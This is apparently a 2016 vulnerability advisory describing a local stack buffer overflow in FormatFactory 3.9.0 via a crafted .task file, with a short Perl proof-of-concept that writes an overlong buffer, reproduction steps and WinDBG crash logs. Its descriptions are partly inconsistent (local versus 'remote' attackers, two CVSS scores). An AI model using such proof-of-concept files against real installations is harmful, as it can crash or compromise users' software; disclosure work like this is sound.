Document Title: =============== FormatFactory 3.9.0 - (.task) Stack Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1935 Release Date: ============= 2016-09-01 Vulnerability Laboratory ID (VL-ID): ==================================== 1935 Common Vulnerability Scoring System: ==================================== 6.1 Product & Service Introduction: =============================== FormatFactory is a type conversion software released as Freeware by Free Time only available on Windows. It can convert video files as well as audio and image files. It is also able to rip DVDs and CDs in other formats such as .iso image file. It can convert .flv files while many video conversion software does not support this feature. (Copy of the Vendor Homepage: http://www.pcfreetime.com/) Abstract Advisory Information: ============================== An independent vulnerability laboratory research (ZwX) discovered a local stack buffer overflow vulnerability in the FormatFactory v3.9.0 software. Vulnerability Disclosure Timeline: ================================== 2016-09-01: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local stack buffer overflow vulnerability has been discovered in the official FormatFactory v3.9.0 software. The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers. A wrong validation check while loading a file (.task) results in a classic stack overflow that crashs the program. Remote attacker are finally able to overwrite for example the eip to control the vulnerable software process. The file format request in the software engine has no restriction of inputs or memory, when processing to request local .task files to queue. The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system. Vulnerable File(s): [+] .task Proof of Concept (PoC): ======================= A local buffer overflow vulnerability can be exploited by local attackers without user interaction and with low privileged system user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch FormatFactoryr.exe 2. Run the code in perl and a file format (.task) will create 3. Click Spot - Task Load File 4. Click on Video and MP4 5. Click the button OK 6. Software crash permanently 7. Successfully reproduce of the local buffer overflow vulnerability! PoC: Exploit Code (Perl) #!/usr/bin/perl my $Buff = "x41" x 5000; open(MYFILE,'>>FormatFactory.task'); print MYFILE $Buff; close(MYFILE); print "PoC by ZwX"; --- Debug Session Logs [WinDBG] --- Stack buffer overflow - code c0000409 eax=00000001 ebx=00000001 ecx=00000005 edx=77ae13f0 esi=015a9a18 edi=00000111 eip=548e46a9 esp=015a9198 ebp=015a91b0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesFormatFactoryMSVCR120.dll - MSVCR120!invoke_watson+0xe: 548e46a9 cd29 int 29h EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff) ExceptionAddress: 548e46a9 (MSVCR120!invoke_watson+0x0000000e) ExceptionCode: c0000409 (Stack buffer overflow) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 00000005 FAULTING_THREAD: 00000890 BUGCHECK_STR: STACK_OVERRUN PROCESS_NAME: FormatFactory.exe FAULTING_MODULE: 77a50000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 524f7ce6 ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect la saturation de la m moire tampon dans cette application. Cette saturation pourrait permettre un utilisateur mal intentionn de prendre le contr le de cette application. DEFAULT_BUCKET_ID: WRONG_SYMBOLS LAST_CONTROL_TRANSFER: from 548e467c to 548e46a9 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 015a91b0 548e467c MSVCR120!invoke_watson+0xe 015a91d4 54873600 MSVCR120!invalid_parameter_noinfo+0xc 015a91f0 00e802ee MSVCR120!swprintf_s+0x17 015aa0b8 00410041 FormatFactory!boost::asio::io_service::service::fork_service+0x9a6e 015aa0bc 00410041 0x410041 015aa0c0 00410041 0x410041 015aa0c4 00410041 0x410041 015aa0c8 00410041 0x410041 015aa0cc 00410041 0x410041 015aa0d0 00410041 0x410041 015aa0d4 00410041 0x410041 015aa0d8 00410041 0x410041 015aa0dc 00410041 0x410041 015aa0e0 00410041 0x410041 015aa0e4 00410041 0x410041 015aa0e8 00410041 0x410041 015aa0ec 00410041 0x410041 015aa0f0 00410041 0x410041 015aa0f4 00410041 0x410041 015aa0f8 00410041 0x410041 0:000> d esi 015a9a18 00 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a28 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a38 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a48 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a58 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a68 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a78 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 015a9a88 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. Security Risk: ============== The security risk of the atack buffer overflow vulnerability in the software core of format factory is estimated as high. (CVSS 6.1) Credits & Authors: ================== ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com